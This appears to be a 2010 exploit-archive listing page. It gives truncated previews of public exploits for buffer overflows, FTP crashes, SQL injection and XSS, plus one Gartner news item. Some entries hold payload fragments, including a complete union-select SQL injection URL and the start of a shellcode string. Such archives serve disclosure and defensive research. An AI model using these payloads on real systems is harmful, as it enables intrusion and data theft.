Easy CD-DA Recorder PLS Buffer Overflow

This module exploits a stack-based buffer overflow vulnerability in Easy CD-DA Recorder 2007 caused by an overlong string in a playlist entry. By persuading the victim to open a specially-crafted PLS file, a remote attacker can execute arbitrary code on the system or cause the application to cras...

Easy CD-DA Recorder 2007 - Local Buffer Overflow (SEH)

Easy CD-DA Recorder 2007 - Local Buffer Overflow SEH Exploit Title : Easy CD-DA Recorder 2007 SEH Buffer Overflow Date : June 7, 2010 Author : chap0 http://www.seek-truth.net Software Link : http://download.cnet.com/Easy-CD-DA-Recorder/3000-26464-10059726.html Tested on : Windows XP SP3 En Type o...

Easy CD-DA Recorder 2007 - Local Buffer Overflow (SEH)

Exploit Title : Easy CD-DA Recorder 2007 SEH Buffer Overflow Date : June 7, 2010 Author : chap0 http://www.seek-truth.net Software Link : http://download.cnet.com/Easy-CD-DA-Recorder/3000-26464-10059726.html Tested on : Windows XP SP3 En Type of vuln : SEH Greetz to : Corelan Security Team The Cr...

VUPlayer 2.49 - '.m3u' File Universal Buffer Overflow (DEP Bypass) (1)

!/usr/bin/env python VUPlayer =2.49 .M3u Universal buffer overflow exploit w/ DEP bypass Author: mrme Download: http://vuplayer.com/ Tested on Wind0ws XP SP3 /noexecute=alwayson Greetz: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ DEP AlwaysOn bypass...

PHP Director 0.2 - SQL Injection

Exploit Title: PHP Director 0.2 Sql Injection. Date: 05/06/2010 Author: Mr.Rat [email protected] Software Link: www.phpdirector.co.uk Version: 0.2 Tested on: Windows Xp SP2 Code : http://victim.com/path/videos.php?id=-44+union+select+1,version,3,4,5,6,7,8,9,10,11,12,13,14,15-- Greetz To My Best...

PHP Director 0.2 - SQL Injection

PHP Director 0.2 - SQL Injection Exploit Title: PHP Director 0.2 Sql Injection. Date: 05/06/2010 Author: Mr.Rat [email protected] Software Link: www.phpdirector.co.uk Version: 0.2 Tested on: Windows Xp SP2 Code :...

PHP Director 0.2 Sql Injection Vulnerability

Exploit for php platform in category web applications ============================================ PHP Director 0.2 Sql Injection Vulnerability ============================================ Author: Mr.Rat email protected Software Link: www.phpdirector.co.uk Version: 0.2 Tested on: Windows Xp SP2...

MP3 Studio 1.0 Buffer Overflow

Title: MP3 Studio v1.0 mpf File Local BOF Exploit SEH Meta CVE-ID: OSVDB-ID: Author: sid3^effects Published: 2010-06-03 This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information...

Adobe InDesign CS3 INDD File Handling Buffer Overflow

!/usr/bin/perl Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability Vendor: Adobe Systems Inc. Product Web Page: http://www.adobe.com Version tested: CS3 10.0 Summary: Adobe® InDesign® CS3 software provides precise control over typography and built-in creative tools for designing,...

Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability

Summary Adobe® InDesign® CS3 software provides precise control over typography and built-in creative tools for designing, preflighting, and publishing documents for print, online, or to mobile devices. Include interactivity, animation, video, and sound in page layouts to fully engage readers...

Gartner to Businesses: Eliminate Windows XP by 2012

As Microsoft prepares to pull the plug on support for Windows XP SP2, a move that stops the release of security updates for that operating system, research firm Gartner is urging businesses to start planning and testing Windows 7 this year with a plan to completely eliminate Windows XP by the end...

Quick n Easy FTP Server Lite 3.1 - Denial of Service

Quick n Easy FTP Server Lite 3.1 - Denial of Service !/usr/bin/python print "\n" print " Team Hackers Garage " print " Quick 'n Easy FTP Server Lite Version 3.1 " print " Crash PoC " print " Sumit Sharma aka b0nd " print " [email protected] " print " " print " Special Thanks to: DoubleZero "...

Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC

Exploit for windows platform in category dos / poc =================================================== Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC =================================================== !/usr/bin/python print "\n" print " Team Hackers Garage " print " Quick 'n Easy FTP Server...

Quick 'n Easy FTP Server Lite 3.1 - Denial of Service

!/usr/bin/python print "\n" print " Team Hackers Garage " print " Quick 'n Easy FTP Server Lite Version 3.1 " print " Crash PoC " print " Sumit Sharma aka b0nd " print " [email protected] " print " " print " Special Thanks to: DoubleZero " print " http://www.exploit-db.com/author/DouBleZer0 "...

ZipExplorer 7.0 (.zar) DoS

No description provided by source. !/usr/bin/python Title: ZipExplorer 7.0 .zar DoS Advisory: http://www.corelan.be:8800/advisories.php?id=10-045 Author: TecR0c - http://tecninja.net/blog Found by: TecR0c - http://twitter.com/TecR0c Date: June 1st, 2010 Download:...

Mediacoder 0.7.3.4672 SEH Overwrite

!/usr/bin/python from sys import argv Title: Mediacoder v0.7.3.4672 SEH Exploit Author: Stoke from devilc0de crew http://hack2web.altervista.org http://devilc0de.altervista.org Tested on: Windows XP SP2 ita shell = "\x89\xe2\xdb\xcb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"...

Joomla Sar News SQL Injection

Exploit Title: Joomla comsarnews SQL Injection vulnerability Date: 02 juni 2010 Author: LyNx [email protected] Platform / Tested on: Windows XP 2 category: webapps/0day Code : ==== SQLI EXPLOIT ====...

XFTP 3.0 Build 02.39 Long Filename Buffer Overflow

!/usr/bin/python import socket import sys """ |------------------------------------------------------------------| | | | / / / / | | / / / / / / / \ / / / / \ | | / // // / / / / / // / / / / / // / // / / / / / / | | /// //,// // //,// // // | | | | http://www.corelan.be:8800 | | |...

ZipExplorer 7.0 Denial Of Service

!/usr/bin/python Title: ZipExplorer 7.0 .zar DoS Advisory: http://www.corelan.be:8800/advisories.php?id=10-045 Author: TecR0c - http://tecninja.net/blog Found by: TecR0c - http://twitter.com/TecR0c Date: June 1st, 2010 Download: http://home.online.no/arnholm/org/exe/ZipX70sh.exe Platform: Windows...

Hexjector 1.0.7.2 - Persistent Cross-Site Scripting

Exploit Title: Hexjector Persistent XSS ".""; $url2 is not filtered so XSS codes can be executed. You would need to find a site that is vulnerable either to XSS or SQL Injection to generate this vulnerability.A site that is vulnerable to XSS only will also work because my Hexjector will not stop...